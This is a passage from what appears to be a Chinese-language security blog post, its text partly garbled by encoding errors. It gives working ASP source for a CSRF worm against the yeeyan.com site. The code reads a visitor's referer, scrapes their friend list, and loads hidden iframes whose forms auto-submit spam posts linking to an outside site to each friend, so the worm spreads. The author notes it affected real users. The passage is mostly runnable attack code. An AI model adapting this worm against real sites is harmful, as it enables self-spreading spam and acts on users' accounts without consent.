r = Request.ServerVariables("HTTP_REFERER") ‘獲取用戶(hù)的來(lái)源地址,如:http://www.yeeyan.com/space/show/hving
If instr(r,"http://www.yeeyan.com/space/show") > 0 Then ‘referer判斷,因為攻擊對象為yeeyan個(gè)人空間留言板,就是這樣的地址
......
id = Mid(r,34) ‘獲取用戶(hù)標識ID,如:hving
furl = "http://www.yeeyan.com/space/friends/" + id ‘用戶(hù)的好友列表鏈接是這樣的
Set http=Server.CreateObject("Microsoft.XMLHTTP") ‘使用這個(gè)控件
http.Open "GET",furl,False ‘同步,GET請求furl鏈接
http.Send ‘發(fā)送請求
ftext = http.ResponseText ‘返回請求的結果,為furl鏈接對應的HTML內容
fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext) ‘正則獲取被攻擊用戶(hù)的所有好友ID值,CSRF留言時(shí)需要這個(gè)值
farray = Split(fstr , " | ") ‘下面幾句就是對獲取到的好友ID值進(jìn)行簡(jiǎn)單處理,然后扔進(jìn)f(999)這個(gè)數組中去
Dim f(999)
For i = 0 To ubound(farray) - 1
f(i) = Mid(farray(i),6,Len(farray(i))-16)
Next
Set http=Nothing
s = ""
For i = 0 To ubound(farray) - 1
s = s + "<iframe width=0 height=0 src=‘yeeyan_iframe.asp?id=" & f(i) & "‘></iframe>" ‘接著(zhù)循環(huán)遍歷好友列表,使用iframe發(fā)起CSRF攻擊
Next
Response.write(s)
......
End If
%>
發(fā)起CSRF攻擊的yeeyan_iframe.asp的代碼如下,現在兼容FF瀏覽器了:),表單提交兼容問(wèn)題,在這說(shuō)過(guò)。
id = Request("id")
s = "<form method=‘post‘ action=‘http://www.yeeyan.com/groups/newTopic/‘>"
s = s+"<input type=‘text‘ style=‘display:none!important;display:block;width=0;height=0‘ value=‘The delicious Tools for yeeyan translation: http://www.chyouth.gov.cn/yy.asp‘ name=‘data[Post][content]‘/>"
s = s+"<input type=‘text‘ style=‘display:none!important;display:block;width=0;height=0‘ value=" + id + " name=‘ymsgee‘/>"
s = s+"<input type=‘text‘style=‘display:none!important;display:block;width=0;height=0‘ value=" +id + " name=‘ymsgee_username‘/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)
這就是今天這個(gè)譯言CSRF蠕蟲(chóng)(或蠕蟲(chóng)雛形)的實(shí)現過(guò)程了。根據這個(gè)原理,很多具有CSRF漏洞的網(wǎng)站都將受到這類(lèi)的威脅。我也不想來(lái)個(gè)總結什么的。本來(lái)上個(gè)周末是準備拿飯否開(kāi)刀的,不過(guò)貌似修補了這篇文章《JSON Hijacking的利用以及Web API安全》提過(guò)的漏洞(沒(méi)修補全)。80sec今天放出的百度空間CSRF蠕蟲(chóng)也很經(jīng)典。
CSRF蠕蟲(chóng)就是個(gè)實(shí)實(shí)在在的東西。最后,yeeyan上某人對我說(shuō)了這句話(huà):真是奇怪,你做測試干嘛要影響別人呢,做一個(gè)人見(jiàn)人愛(ài)的好學(xué)生吧~
聯(lián)系客服